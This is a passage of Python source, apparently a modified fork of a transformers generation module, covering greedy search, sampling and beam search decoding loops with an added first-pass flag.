prefix_allowed_tokens_fn=prefix_allowed_tokens_fn,
num_beams=num_beams,
num_beam_groups=num_beam_groups,
diversity_penalty=diversity_penalty,
remove_invalid_values=remove_invalid_values,
exponential_decay_length_penalty=exponential_decay_length_penalty,
logits_processor=logits_processor,
)
# 8. prepare stopping criteria
stopping_criteria = self._get_stopping_criteria(
max_length=max_length, max_time=max_time, stopping_criteria=stopping_criteria
)
# 9. go into different generation modes
if is_greedy_gen_mode:
if num_return_sequences > 1:
raise ValueError(
f"num_return_sequences has to be 1, but is {num_return_sequences} when doing greedy search."
)
# 10. run greedy search
return self.greedy_search(
input_ids,
logits_processor=logits_processor,
stopping_criteria=stopping_criteria,
pad_token_id=pad_token_id,
eos_token_id=eos_token_id,
output_scores=output_scores,
return_dict_in_generate=return_dict_in_generate,
synced_gpus=synced_gpus,
**model_kwargs,
)
elif is_sample_gen_mode:
# 10. prepare logits warper
logits_warper = self._get_logits_warper(
top_k=top_k, top_p=top_p, typical_p=typical_p, temperature=temperature, num_beams=num_beams
)
# 11. expand input_ids with `num_return_sequences` additional sequences per batch
input_ids, model_kwargs = self._expand_inputs_for_generation(
input_ids,
expand_size=num_return_sequences,
is_encoder_decoder=self.config.is_encoder_decoder,
**model_kwargs,
)
# 12. run sample
return self.sample(
input_ids,
logits_processor=logits_processor,
logits_warper=logits_warper,
stopping_criteria=stopping_criteria,
pad_token_id=pad_token_id,
eos_token_id=eos_token_id,
output_scores=output_scores,
return_dict_in_generate=return_dict_in_generate,
synced_gpus=synced_gpus,
**model_kwargs,
)
elif is_beam_gen_mode:
if num_return_sequences > num_beams:
raise ValueError("`num_return_sequences` has to be smaller or equal to `num_beams`.")
if stopping_criteria.max_length is None:
raise ValueError("`max_length` needs to be a stopping_criteria for now.")
# 10. prepare beam search scorer
beam_scorer = BeamSearchScorer(
batch_size=batch_size,
num_beams=num_beams,
device=self.device,
length_penalty=length_penalty,
do_early_stopping=early_stopping,
num_beam_hyps_to_keep=num_return_sequences,
)
# 11. interleave input_ids with `num_beams` additional sequences per batch
input_ids, model_kwargs = self._expand_inputs_for_generation(
input_ids, expand_size=num_beams, is_encoder_decoder=self.config.is_encoder_decoder, **model_kwargs
)
# 12. run beam search
return self.beam_search(
input_ids,
beam_scorer,
logits_processor=logits_processor,
stopping_criteria=stopping_criteria,
pad_token_id=pad_token_id,
eos_token_id=eos_token_id,
output_scores=output_scores,
return_dict_in_generate=return_dict_in_generate,
synced_gpus=synced_gpus,
**model_kwargs,
)
elif is_beam_sample_gen_mode:
# 10. prepare logits warper
logits_warper = self._get_logits_warper(
top_k=top_k, top_p=top_p, typical_p=typical_p, temperature=temperature, num_beams=num_beams
)
if stopping_criteria.max_length is None:
raise ValueError("`max_length` needs to be a stopping_criteria for now.")
# 11. prepare beam search scorer
beam_scorer = BeamSearchScorer(
batch_size=batch_size * num_return_sequences,
num_beams=num_beams,
device=self.device,
length_penalty=length_penalty,
do_early_stopping=early_stopping,
)
# 12. interleave input_ids with `num_beams` additional sequences per batch
input_ids, model_kwargs = self._expand_inputs_for_generation(
input_ids,
expand_size=num_beams * num_return_sequences,
is_encoder_decoder=self.config.is_encoder_decoder,
**model_kwargs,
)
# 13. run beam sample
return self.beam_sample(
input_ids,
beam_scorer,
logits_processor=logits_processor,
logits_warper=logits_warper,
stopping_criteria=stopping_criteria,
pad_token_id=pad_token_id,
eos_token_id=eos_token_id,
output_scores=output_scores,
return_dict_in_generate=return_dict_in_generate,
synced_gpus=synced_gpus,
**model_kwargs,
)
elif is_group_beam_gen_mode:
if num_return_sequences > num_beams:
raise ValueError("`num_return_sequences` has to be smaller or equal to `num_beams`.")
if num_beams % num_beam_groups != 0:
raise ValueError("`num_beams` should be divisible by `num_beam_groups` for group beam search.")
if stopping_criteria.max_length is None:
raise ValueError("`max_length` needs to be a stopping_criteria for now.")
# 10. prepare beam search scorer
beam_scorer = BeamSearchScorer(
batch_size=batch_size,
num_beams=num_beams,
max_length=stopping_criteria.max_length,
device=self.device,
length_penalty=length_penalty,
do_early_stopping=early_stopping,
num_beam_hyps_to_keep=num_return_sequences,
num_beam_groups=num_beam_groups,
)
# 11. interleave input_ids with `num_beams` additional sequences per batch
input_ids, model_kwargs = self._expand_inputs_for_generation(
input_ids, expand_size=num_beams, is_encoder_decoder=self.config.is_encoder_decoder, **model_kwargs
)
# 12. run beam search
return self.group_beam_search(
input_ids,
beam_scorer,
logits_processor=logits_processor,
stopping_criteria=stopping_criteria,
pad_token_id=pad_token_id,
eos_token_id=eos_token_id,
output_scores=output_scores,
return_dict_in_generate=return_dict_in_generate,
synced_gpus=synced_gpus,
**model_kwargs,
)
elif is_constraint_gen_mode:
if num_return_sequences > num_beams:
raise ValueError("`num_return_sequences` has to be smaller or equal to `num_beams`.")
if stopping_criteria.max_length is None:
raise ValueError("`max_length` needs to be a stopping_criteria for now.")
if num_beams <= 1:
raise ValueError("`num_beams` needs to be greater than 1 for constrained genertation.")
if do_sample:
raise ValueError("`do_sample` needs to be false for constrained generation.")
if num_beam_groups is not None and num_beam_groups > 1:
raise ValueError("`num_beam_groups` not supported yet for constrained generation.")
final_constraints = []
if constraints is not None:
final_constraints = constraints
if force_words_ids is not None:
def typeerror():
raise ValueError(
"`force_words_ids` has to either be a `List[List[List[int]]]` or `List[List[int]]`"
f"of positive integers, but is {force_words_ids}."
)
if not isinstance(force_words_ids, list) or len(force_words_ids) == 0:
typeerror()
for word_ids in force_words_ids:
if isinstance(word_ids[0], list):
if not isinstance(word_ids, list) or len(word_ids) == 0:
typeerror()
if any(not isinstance(token_ids, list) for token_ids in word_ids):
typeerror()
if any(
any((not isinstance(token_id, int) or token_id < 0) for token_id in token_ids)
for token_ids in word_ids
):
typeerror()
constraint = DisjunctiveConstraint(word_ids)
else:
if not isinstance(word_ids, list) or len(word_ids) == 0:
typeerror()
if any((not isinstance(token_id, int) or token_id < 0) for token_id in word_ids):
typeerror()
constraint = PhrasalConstraint(word_ids)
final_constraints.append(constraint)
# 10. prepare beam search scorer
constrained_beam_scorer = ConstrainedBeamSearchScorer(
constraints=final_constraints,
batch_size=batch_size,
num_beams=num_beams,
device=self.device,
length_penalty=length_penalty,
do_early_stopping=early_stopping,
num_beam_hyps_to_keep=num_return_sequences,
)
# 11. interleave input_ids with `num_beams` additional sequences per batch
input_ids, model_kwargs = self._expand_inputs_for_generation(
input_ids, expand_size=num_beams, is_encoder_decoder=self.config.is_encoder_decoder, **model_kwargs
)
# 12. run beam search
return self.constrained_beam_search(
input_ids,
constrained_beam_scorer=constrained_beam_scorer,
logits_processor=logits_processor,
stopping_criteria=stopping_criteria,
pad_token_id=pad_token_id,
eos_token_id=eos_token_id,
output_scores=output_scores,
return_dict_in_generate=return_dict_in_generate,
synced_gpus=synced_gpus,
**model_kwargs,
)
def greedy_search(
self,
input_ids: torch.LongTensor,
logits_processor: Optional[LogitsProcessorList] = None,
stopping_criteria: Optional[StoppingCriteriaList] = None,
max_length: Optional[int] = None,
pad_token_id: Optional[int] = None,
eos_token_id: Optional[int] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
output_scores: Optional[bool] = None,
return_dict_in_generate: Optional[bool] = None,
synced_gpus: Optional[bool] = False,
**model_kwargs,
) -> Union[GreedySearchOutput, torch.LongTensor]:
# init values
logits_processor = logits_processor if logits_processor is not None else LogitsProcessorList()
stopping_criteria = stopping_criteria if stopping_criteria is not None else StoppingCriteriaList()
if max_length is not None:
warnings.warn(
"`max_length` is deprecated in this function, use `stopping_criteria=StoppingCriteriaList([MaxLengthCriteria(max_length=max_length)])` instead.",
UserWarning,
)
stopping_criteria = validate_stopping_criteria(stopping_criteria, max_length)
pad_token_id = pad_token_id if pad_token_id is not None else self.config.pad_token_id
eos_token_id = eos_token_id if eos_token_id is not None else self.config.eos_token_id
output_scores = output_scores if output_scores is not None else self.config.output_scores
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
return_dict_in_generate = (
return_dict_in_generate if return_dict_in_generate is not None else self.config.return_dict_in_generate
)
# init attention / hidden states / scores tuples
scores = () if (return_dict_in_generate and output_scores) else None
decoder_attentions = () if (return_dict_in_generate and output_attentions) else None
cross_attentions = () if (return_dict_in_generate and output_attentions) else None
decoder_hidden_states = () if (return_dict_in_generate and output_hidden_states) else None
# if model is an encoder-decoder, retrieve encoder attention weights and hidden states
if return_dict_in_generate and self.config.is_encoder_decoder:
encoder_attentions = model_kwargs["encoder_outputs"].get("attentions") if output_attentions else None
encoder_hidden_states = (
model_kwargs["encoder_outputs"].get("hidden_states") if output_hidden_states else None
)
# keep track of which sequences are already finished
unfinished_sequences = input_ids.new(input_ids.shape[0]).fill_(1)
cur_len = input_ids.shape[-1]
this_peer_finished = False # used by synced_gpus only
first_pass = True
while True:
# prepare model inputs
model_inputs = self.prepare_inputs_for_generation(input_ids, first_pass = first_pass,**model_kwargs)
# forward pass to get next token
outputs = self(
input_ids = model_inputs['input_ids'],
past_key_values = model_inputs['past_key_values'],
attention_mask = model_inputs['attention_mask'],
token_type_ids = model_inputs['token_type_ids'],
position_ids = model_inputs['position_ids'],
use_cache = model_inputs['use_cache'],
return_dict=True,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
first_pass = first_pass,
)
first_pass = False
if synced_gpus and this_peer_finished:
cur_len = cur_len + 1
continue # don't waste resources running the code we don't need
next_token_logits = outputs.logits[:, -1, :]
# Store scores, attentions and hidden_states when required
if return_dict_in_generate:
if output_scores:
scores += (next_token_logits,)
if output_attentions:
decoder_attentions += (
(outputs.decoder_attentions,) if self.config.is_encoder_decoder else (outputs.attentions,)
)
if self.config.is_encoder_decoder:
cross_attentions += (outputs.cross_attentions,)
if output_hidden_states:
decoder_hidden_states += (
(outputs.decoder_hidden_states,)
if self.config.is_encoder_decoder
else (outputs.hidden_states,)
)
# pre-process distribution
next_tokens_scores = logits_processor(input_ids, next_token_logits)
# argmax
next_tokens = torch.argmax(next_tokens_scores, dim=-1)
# finished sentences should have their next token be a padding token
if eos_token_id is not None:
if pad_token_id is None:
raise ValueError("If `eos_token_id` is defined, make sure that `pad_token_id` is defined.")
next_tokens = next_tokens * unfinished_sequences + pad_token_id * (1 - unfinished_sequences)
# update generated ids, model inputs, and length for next step
input_ids = torch.cat([input_ids, next_tokens[:, None]], dim=-1)
model_kwargs = self._update_model_kwargs_for_generation(
outputs, model_kwargs, is_encoder_decoder=self.config.is_encoder_decoder
)
cur_len = cur_len + 1
# if eos_token was found in one sentence, set sentence to finished
if eos_token_id is not None:
unfinished_sequences = unfinished_sequences.mul((next_tokens != eos_token_id).long())
# stop when each sentence is finished, or if we exceed the maximum length
if unfinished_sequences.max() == 0 or stopping_criteria(input_ids, scores):
if not synced_gpus:
break
else:
this_peer_finished = True
if return_dict_in_generate:
if self.config.is_encoder_decoder:
return GreedySearchEncoderDecoderOutput(
sequences=input_ids,
scores=scores,
encoder_attentions=encoder_attentions,
encoder_hidden_states=encoder_hidden_states,
decoder_attentions=decoder_attentions,
cross_attentions=cross_attentions,
decoder_hidden_states=decoder_hidden_states,
)
else:
return GreedySearchDecoderOnlyOutput(
sequences=input_ids,
scores=scores,
attentions=decoder_attentions,
hidden_states=decoder_hidden_states,
)
else:
return input_ids
def sample(
self,
input_ids: torch.LongTensor,
logits_processor: Optional[LogitsProcessorList] = None,
stopping_criteria: Optional[StoppingCriteriaList] = None,
logits_warper: Optional[LogitsProcessorList] = None,
max_length: Optional[int] = None,
pad_token_id: Optional[int] = None,
eos_token_id: Optional[int] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
output_scores: Optional[bool] = None,
return_dict_in_generate: Optional[bool] = None,
synced_gpus: Optional[bool] = False,
**model_kwargs,
) -> Union[SampleOutput, torch.LongTensor]:
# init values
logits_processor = logits_processor if logits_processor is not None else LogitsProcessorList()
stopping_criteria = stopping_criteria if stopping_criteria is not None else StoppingCriteriaList()
if max_length is not None:
warnings.warn(
"`max_length` is deprecated in this function, use `stopping_criteria=StoppingCriteriaList(MaxLengthCriteria(max_length=max_length))` instead.",
UserWarning,
)
stopping_criteria = validate_stopping_criteria(stopping_criteria, max_length)
logits_warper = logits_warper if logits_warper is not None else LogitsProcessorList()
pad_token_id = pad_token_id if pad_token_id is not None else self.config.pad_token_id
eos_token_id = eos_token_id if eos_token_id is not None else self.config.eos_token_id
output_scores = output_scores if output_scores is not None else self.config.output_scores
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
return_dict_in_generate = (
return_dict_in_generate if return_dict_in_generate is not None else self.config.return_dict_in_generate
)
# init attention / hidden states / scores tuples
scores = () if (return_dict_in_generate and output_scores) else None
decoder_attentions = () if (return_dict_in_generate and output_attentions) else None
cross_attentions = () if (return_dict_in_generate and output_attentions) else None
decoder_hidden_states = () if (return_dict_in_generate and output_hidden_states) else None
# if model is an encoder-decoder, retrieve encoder attention weights and hidden states
if return_dict_in_generate and self.config.is_encoder_decoder:
encoder_attentions = model_kwargs["encoder_outputs"].get("attentions") if output_attentions else None
encoder_hidden_states = (
model_kwargs["encoder_outputs"].get("hidden_states") if output_hidden_states else None
)
# keep track of which sequences are already finished
unfinished_sequences = input_ids.new(input_ids.shape[0]).fill_(1)
cur_len = input_ids.shape[-1]
this_peer_finished = False # used by synced_gpus only
# auto-regressive generation
first_pass = True
while True:
# prepare model inputs
model_inputs = self.prepare_inputs_for_generation(input_ids, first_pass = first_pass,**model_kwargs)
# forward pass to get next token
outputs = self(
input_ids = model_inputs['input_ids'],
past_key_values = model_inputs['past_key_values'],
attention_mask = model_inputs['attention_mask'],
token_type_ids = model_inputs['token_type_ids'],
position_ids = model_inputs['position_ids'],
use_cache = model_inputs['use_cache'],
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
first_pass = first_pass,
)
first_pass = False
if synced_gpus and this_peer_finished:
cur_len = cur_len + 1
continue # don't waste resources running the code we don't need
next_token_logits = outputs.logits[:, -1, :]
# pre-process distribution
next_token_scores = logits_processor(input_ids, next_token_logits)
next_token_scores = logits_warper(input_ids, next_token_scores)
# sample
probs = nn.functional.softmax(next_token_scores, dim=-1)
next_tokens = torch.multinomial(probs, num_samples=1).squeeze(1)
# finished sentences should have their next token be a padding token
if eos_token_id is not None:
if pad_token_id is None:
raise ValueError("If `eos_token_id` is defined, make sure that `pad_token_id` is defined.")
next_tokens = next_tokens * unfinished_sequences + pad_token_id * (1 - unfinished_sequences)
# update generated ids, model inputs, and length for next step
input_ids = torch.cat([input_ids, next_tokens[:, None]], dim=-1)
model_kwargs = self._update_model_kwargs_for_generation(
outputs, model_kwargs, is_encoder_decoder=self.config.is_encoder_decoder
)
cur_len = cur_len + 1
# if eos_token was found in one sentence, set sentence to finished
if eos_token_id is not None:
unfinished_sequences = unfinished_sequences.mul((next_tokens != eos_token_id).long())
# stop when each sentence is finished, or if we exceed the maximum length
if unfinished_sequences.max() == 0 or stopping_criteria(input_ids, scores):
if not synced_gpus:
break
else:
this_peer_finished = True
return input_ids
def beam_search(
self,
input_ids: torch.LongTensor,
beam_scorer: BeamScorer,
logits_processor: Optional[LogitsProcessorList] = None,
stopping_criteria: Optional[StoppingCriteriaList] = None,
max_length: Optional[int] = None,
pad_token_id: Optional[int] = None,
eos_token_id: Optional[int] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
output_scores: Optional[bool] = None,
return_dict_in_generate: Optional[bool] = None,
synced_gpus: Optional[bool] = False,
**model_kwargs,
) -> Union[BeamSearchOutput, torch.LongTensor]:
r"""
Generates sequences of token ids for models with a language modeling head using **beam search decoding** and
can be used for text-decoder, text-to-text, speech-to-text, and vision-to-text models.
Parameters:
input_ids (`torch.LongTensor` of shape `(batch_size, sequence_length)`):
The sequence used as a prompt for the generation.
beam_scorer (`BeamScorer`):
An derived instance of [`BeamScorer`] that defines how beam hypotheses are constructed, stored and
sorted during generation. For more information, the documentation of [`BeamScorer`] should be read.
logits_processor (`LogitsProcessorList`, *optional*):
An instance of [`LogitsProcessorList`]. List of instances of class derived from [`LogitsProcessor`]
used to modify the prediction scores of the language modeling head applied at each generation step.
stopping_criteria (`StoppingCriteriaList`, *optional*):
An instance of [`StoppingCriteriaList`]. List of instances of class derived from [`StoppingCriteria`]
used to tell if the generation loop should stop.
max_length (`int`, *optional*, defaults to 20):
**DEPRECATED**. Use `logits_processor` or `stopping_criteria` directly to cap the number of generated
tokens. The maximum length of the sequence to be generated.
pad_token_id (`int`, *optional*):
The id of the *padding* token.
eos_token_id (`int`, *optional*):
The id of the *end-of-sequence* token.
output_attentions (`bool`, *optional*, defaults to `False`):
Whether or not to return the attentions tensors of all attention layers. See `attentions` under
returned tensors for more details.
output_hidden_states (`bool`, *optional*, defaults to `False`):
Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors
for more details.
output_scores (`bool`, *optional*, defaults to `False`):
Whether or not to return the prediction scores. See `scores` under returned tensors for more details.
return_dict_in_generate (`bool`, *optional*, defaults to `False`):
Whether or not to return a [`~file_utils.ModelOutput`] instead of a plain tuple.
synced_gpus (`bool`, *optional*, defaults to `False`):
Whether to continue running the while loop until max_length (needed for ZeRO stage 3)
model_kwargs:
Additional model specific kwargs will be forwarded to the `forward` function of the model. If model is
an encoder-decoder model the kwargs should include `encoder_outputs`.
Return:
[`generation_utilsBeamSearchDecoderOnlyOutput`], [`~generation_utils.BeamSearchEncoderDecoderOutput`] or
`torch.LongTensor`: A `torch.LongTensor` containing the generated tokens (default behaviour) or a
[`~generation_utils.BeamSearchDecoderOnlyOutput`] if `model.config.is_encoder_decoder=False` and
`return_dict_in_generate=True` or a [`~generation_utils.BeamSearchEncoderDecoderOutput`] if
`model.config.is_encoder_decoder=True`.
Examples:
```python
>>> from transformers import (
... AutoTokenizer,
... AutoModelForSeq2SeqLM,
... LogitsProcessorList,
... MinLengthLogitsProcessor,
... BeamSearchScorer,
... )
>>> import torch
>>> tokenizer = AutoTokenizer.from_pretrained("t5-base")
>>> model = AutoModelForSeq2SeqLM.from_pretrained("t5-base")
>>> encoder_input_str = "translate English to German: How old are you?"
>>> encoder_input_ids = tokenizer(encoder_input_str, return_tensors="pt").input_ids
>>> # lets run beam search using 3 beams
>>> num_beams = 3
>>> # define decoder start token ids
>>> input_ids = torch.ones((num_beams, 1), device=model.device, dtype=torch.long)
>>> input_ids = input_ids * model.config.decoder_start_token_id
>>> # add encoder_outputs to model keyword arguments
>>> model_kwargs = {
... "encoder_outputs": model.get_encoder()(
... encoder_input_ids.repeat_interleave(num_beams, dim=0), return_dict=True
... )
... }
>>> # instantiate beam scorer
>>> beam_scorer = BeamSearchScorer(
... batch_size=1,
... num_beams=num_beams,
... device=model.device,
... )
>>> # instantiate logits processors
>>> logits_processor = LogitsProcessorList(
... [
... MinLengthLogitsProcessor(5, eos_token_id=model.config.eos_token_id),
... ]
... )
>>> outputs = model.beam_search(input_ids, beam_scorer, logits_processor=logits_processor, **model_kwargs)
>>> tokenizer.batch_decode(outputs, skip_special_tokens=True)
['Wie alt bist du?']
```"""
# init values
logits_processor = logits_processor if logits_processor is not None else LogitsProcessorList()
stopping_criteria = stopping_criteria if stopping_criteria is not None else StoppingCriteriaList()
if max_length is not None:
warnings.warn(
"`max_length` is deprecated in this function, use `stopping_criteria=StoppingCriteriaList(MaxLengthCriteria(max_length=max_length))` instead.",
UserWarning,
)
stopping_criteria = validate_stopping_criteria(stopping_criteria, max_length)
if len(stopping_criteria) == 0:
warnings.warn("You don't have defined any stopping_criteria, this will likely loop forever", UserWarning)
pad_token_id = pad_token_id if pad_token_id is not None else self.config.pad_token_id
eos_token_id = eos_token_id if eos_token_id is not None else self.config.eos_token_id
output_scores = output_scores if output_scores is not None else self.config.output_scores
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
return_dict_in_generate = (
return_dict_in_generate if return_dict_in_generate is not None else self.config.return_dict_in_generate
)
batch_size = len(beam_scorer._beam_hyps)
num_beams = beam_scorer.num_beams
batch_beam_size, cur_len = input_ids.shape
if num_beams * batch_size != batch_beam_size:
raise ValueError(
f"Batch dimension of `input_ids` should be {num_beams * batch_size}, but is {batch_beam_size}."
)
# init attention / hidden states / scores tuples
scores = () if (return_dict_in_generate and output_scores) else None
beam_indices = (
tuple(() for _ in range(batch_beam_size)) if (return_dict_in_generate and output_scores) else None
)
decoder_attentions = () if (return_dict_in_generate and output_attentions) else None
cross_attentions = () if (return_dict_in_generate and output_attentions) else None
decoder_hidden_states = () if (return_dict_in_generate and output_hidden_states) else None
# if model is an encoder-decoder, retrieve encoder attention weights and hidden states
if return_dict_in_generate and self.config.is_encoder_decoder:
encoder_attentions = model_kwargs["encoder_outputs"].get("attentions") if output_attentions else None
encoder_hidden_states = (
model_kwargs["encoder_outputs"].get("hidden_states") if output_hidden_states else None
)
beam_scores = torch.zeros((batch_size, num_beams), dtype=torch.float, device=input_ids.device)
beam_scores[:, 1:] = -1e9
beam_scores = beam_scores.view((batch_size * num_beams,))
this_peer_finished = False # used by synced_gpus only
first_pass = True
while True:
model_inputs = self.prepare_inputs_for_generation(input_ids, first_pass = first_pass,**model_kwargs)
outputs = self(
input_ids = model_inputs['input_ids'],
past_key_values = model_inputs['past_key_values'],
attention_mask = model_inputs['attention_mask'],
token_type_ids = model_inputs['token_type_ids'],
position_ids = model_inputs['position_ids'],
use_cache = model_inputs['use_cache'],
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
first_pass = first_pass,
)
first_pass = False
if synced_gpus and this_peer_finished:
cur_len = cur_len + 1
continue # don't waste resources running the code we don't need
next_token_logits = outputs.logits[:, -1, :]
# hack: adjust tokens for Marian. For Marian we have to make sure that the `pad_token_id`
# cannot be generated both before and after the `nn.functional.log_softmax` operation.
next_token_logits = self.adjust_logits_during_generation(next_token_logits, cur_len=cur_len)
next_token_scores = nn.functional.log_softmax(
next_token_logits, dim=-1
) # (batch_size * num_beams, vocab_size)
next_token_scores_processed = logits_processor(input_ids, next_token_scores)
next_token_scores = next_token_scores_processed + beam_scores[:, None].expand_as(next_token_scores)
# Store scores, attentions and hidden_states when required
if return_dict_in_generate:
if output_scores:
scores += (next_token_scores_processed,)
if output_attentions:
decoder_attentions += (
(outputs.decoder_attentions,) if self.config.is_encoder_decoder else (outputs.attentions,)
)
if self.config.is_encoder_decoder:
cross_attentions += (outputs.cross_attentions,)
if output_hidden_states:
decoder_hidden_states += (
(outputs.decoder_hidden_states,)
if self.config.is_encoder_decoder
else (outputs.hidden_states,)
)
# reshape for beam search
vocab_size = next_token_scores.shape[-1]
next_token_scores = next_token_scores.view(batch_size, num_beams * vocab_size)
next_token_scores, next_tokens = torch.topk(
next_token_scores, 2 * num_beams, dim=1, largest=True, sorted=True
)
next_indices = torch_int_div(next_tokens, vocab_size)
next_tokens = next_tokens % vocab_size
# stateless
beam_outputs = beam_scorer.process(
input_ids,
next_token_scores,
next_tokens,
next_indices,
pad_token_id=pad_token_id,
eos_token_id=eos_token_id,
)
beam_scores = beam_outputs["next_beam_scores"]
beam_next_tokens = beam_outputs["next_beam_tokens"]
beam_idx = beam_outputs["next_beam_indices"]
input_ids = torch.cat([input_ids[beam_idx, :], beam_next_tokens.unsqueeze(-1)], dim=-1)
model_kwargs = self._update_model_kwargs_for_generation(
outputs, model_kwargs, is_encoder_decoder=self.config.is_encoder_decoder
)
if model_kwargs["past"] is not None:
model_kwargs["past"] = self._reorder_cache(model_kwargs["past"], beam_idx)
if return_dict_in_generate and output_scores:
beam_indices = tuple((beam_indices[beam_idx[i]] + (beam_idx[i],) for i in range(len(beam_indices))))
# increase cur_len
cur_len = cur_len + 1
if beam_scorer.is_done or stopping_criteria(input_ids, scores):
if not synced_gpus:
break
else:
this_peer_finished = True
sequence_outputs = beam_scorer.finalize(
input_ids,
beam_scores,
next_tokens,
next_indices,
pad_token_id=pad_token_id,
eos_token_id=eos_token_id,
max_length=stopping_criteria.max_length,
)
if return_dict_in_generate:
if not output_scores:
sequence_outputs["sequence_scores"] = None
else:
num_return_sequences = beam_scorer.num_beam_hyps_to_keep
# return only as many indices as sequences
beam_indices = tuple(
(beam_indices[i * num_beams : i * num_beams + num_return_sequences] for i in range(batch_size))
)
beam_indices = sum(beam_indices, ())
if self.config.is_encoder_decoder:
return BeamSearchEncoderDecoderOutput(
sequences=sequence_outputs["sequences"],
sequences_scores=sequence_outputs["sequence_scores"],
scores=scores,
beam_indices=beam_indices,
encoder_attentions=encoder_attentions,
encoder_hidden_states=encoder_hidden_states,
decoder_attentions=decoder_attentions,
cross_attentions=cross_attentions,
decoder_hidden_states=decoder_hidden_states,
)
else:
return BeamSearchDecoderOnlyOutput(
sequences=sequence_outputs["sequences"],
sequences_scores=sequence_outputs["sequence_scores"],
scores=scores,
beam_indices=beam_indices,
attentions=decoder_attentions,
hidden_states=decoder_hidden_states,
)
else:
return sequence_outputs["sequences"]
def beam_sample(
self,
input_ids: torch.LongTensor,
beam_scorer: BeamScorer,
logits_processor: Optional[LogitsProcessorList] = None,
stopping_criteria: Optional[StoppingCriteriaList] = None,
logits_warper: Optional[LogitsProcessorList] = None,
max_length: Optional[int] = None,
pad_token_id: Optional[int] = None,
eos_token_id: Optional[int] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
output_scores: Optional[bool] = None,
return_dict_in_generate: Optional[bool] = None,
synced_gpus: Optional[bool] = False,
**model_kwargs,
) -> Union[BeamSampleOutput, torch.LongTensor]:
r"""
Generates sequences of token ids for models with a language modeling head using **beam search multinomial
sampling** and can be used for text-decoder, text-to-text, speech-to-text, and vision-to-text models.
Parameters:
input_ids (`torch.LongTensor` of shape `(batch_size, sequence_length)`):
The sequence used as a prompt for the generation.
beam_scorer (`BeamScorer`):
A derived instance of [`BeamScorer`] that defines how beam hypotheses are constructed, stored and
sorted during generation. For more information, the documentation of [`BeamScorer`] should be read.
logits_processor (`LogitsProcessorList`, *optional*):
An instance of [`LogitsProcessorList`]. List of instances of class derived from [`LogitsProcessor`]
used to modify the prediction scores of the language modeling head applied at each generation step.
stopping_criteria (`StoppingCriteriaList`, *optional*):
An instance of [`StoppingCriteriaList`]. List of instances of class derived from [`StoppingCriteria`]
used to tell if the generation loop should stop.
logits_warper (`LogitsProcessorList`, *optional*):
An instance of [`LogitsProcessorList`]. List of instances of class derived from [`LogitsWarper`] used
to warp the prediction score distribution of the language modeling head applied before multinomial
sampling at each generation step.
max_length (`int`, *optional*, defaults to 20):
**DEPRECATED**. Use `logits_processor` or `stopping_criteria` directly to cap the number of generated
tokens. The maximum length of the sequence to be generated.
pad_token_id (`int`, *optional*):
The id of the *padding* token.
eos_token_id (`int`, *optional*):
The id of the *end-of-sequence* token.
output_attentions (`bool`, *optional*, defaults to `False`):
Whether or not to return the attentions tensors of all attention layers. See `attentions` under
returned tensors for more details.
output_hidden_states (`bool`, *optional*, defaults to `False`):
Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors
for more details.
output_scores (`bool`, *optional*, defaults to `False`):
Whether or not to return the prediction scores. See `scores` under returned tensors for more details.
return_dict_in_generate (`bool`, *optional*, defaults to `False`):
Whether or not to return a [`~file_utils.ModelOutput`] instead of a plain tuple.
synced_gpus (`bool`, *optional*, defaults to `False`):
Whether to continue running the while loop until max_length (needed for ZeRO stage 3)
model_kwargs:
Additional model specific kwargs will be forwarded to the `forward` function of the model. If model is
an encoder-decoder model the kwargs should include `encoder_outputs`.
Return:
[`~generation_utils.BeamSampleDecoderOnlyOutput`], [`~generation_utils.BeamSampleEncoderDecoderOutput`] or
`torch.LongTensor`: A `torch.LongTensor` containing the generated tokens (default behaviour) or a
[`~generation_utils.BeamSampleDecoderOnlyOutput`] if `model.config.is_encoder_decoder=False` and
`return_dict_in_generate=True` or a [`~generation_utils.BeamSampleEncoderDecoderOutput`] if
`model.config.is_encoder_decoder=True`.
Examples:
```python
>>> from transformers import (
... AutoTokenizer,
... AutoModelForSeq2SeqLM,
... LogitsProcessorList,
... MinLengthLogitsProcessor,
... TopKLogitsWarper,
... TemperatureLogitsWarper,
... BeamSearchScorer,
... )
>>> import torch
>>> tokenizer = AutoTokenizer.from_pretrained("t5-base")
>>> model = AutoModelForSeq2SeqLM.from_pretrained("t5-base")
>>> encoder_input_str = "translate English to German: How old are you?"
>>> encoder_input_ids = tokenizer(encoder_input_str, return_tensors="pt").input_ids
>>> # lets run beam search using 3 beams
>>> num_beams = 3
>>> # define decoder start token ids
>>> input_ids = torch.ones((num_beams, 1), device=model.device, dtype=torch.long)
>>> input_ids = input_ids * model.config.decoder_start_token_id
>>> # add encoder_outputs to model keyword arguments
>>> model_kwargs = {
... "encoder_outputs": model.get_encoder()(
... encoder_input_ids.repeat_interleave(num_beams, dim=0), return_dict=True
... )
... }
>>> # instantiate beam scorer
>>> beam_scorer = BeamSearchScorer(
... batch_size=1,
... max_length=model.config.max_length,
... num_beams=num_beams,
... device=model.device,
... )
>>> # instantiate logits processors
>>> logits_processor = LogitsProcessorList(
... [MinLengthLogitsProcessor(5, eos_token_id=model.config.eos_token_id)]
... )
>>> # instantiate logits processors
>>> logits_warper = LogitsProcessorList(
... [
... TopKLogitsWarper(50),
... TemperatureLogitsWarper(0.7),
... ]
... )
>>> outputs = model.beam_sample(
... input_ids, beam_scorer, logits_processor=logits_processor, logits_warper=logits_warper, **model_kwargs
... )
>>> tokenizer.batch_decode(outputs, skip_special_tokens=True)
['Wie alt bist du?']
```"""
# init values
logits_processor = logits_processor if logits_processor is not None else LogitsProcessorList()
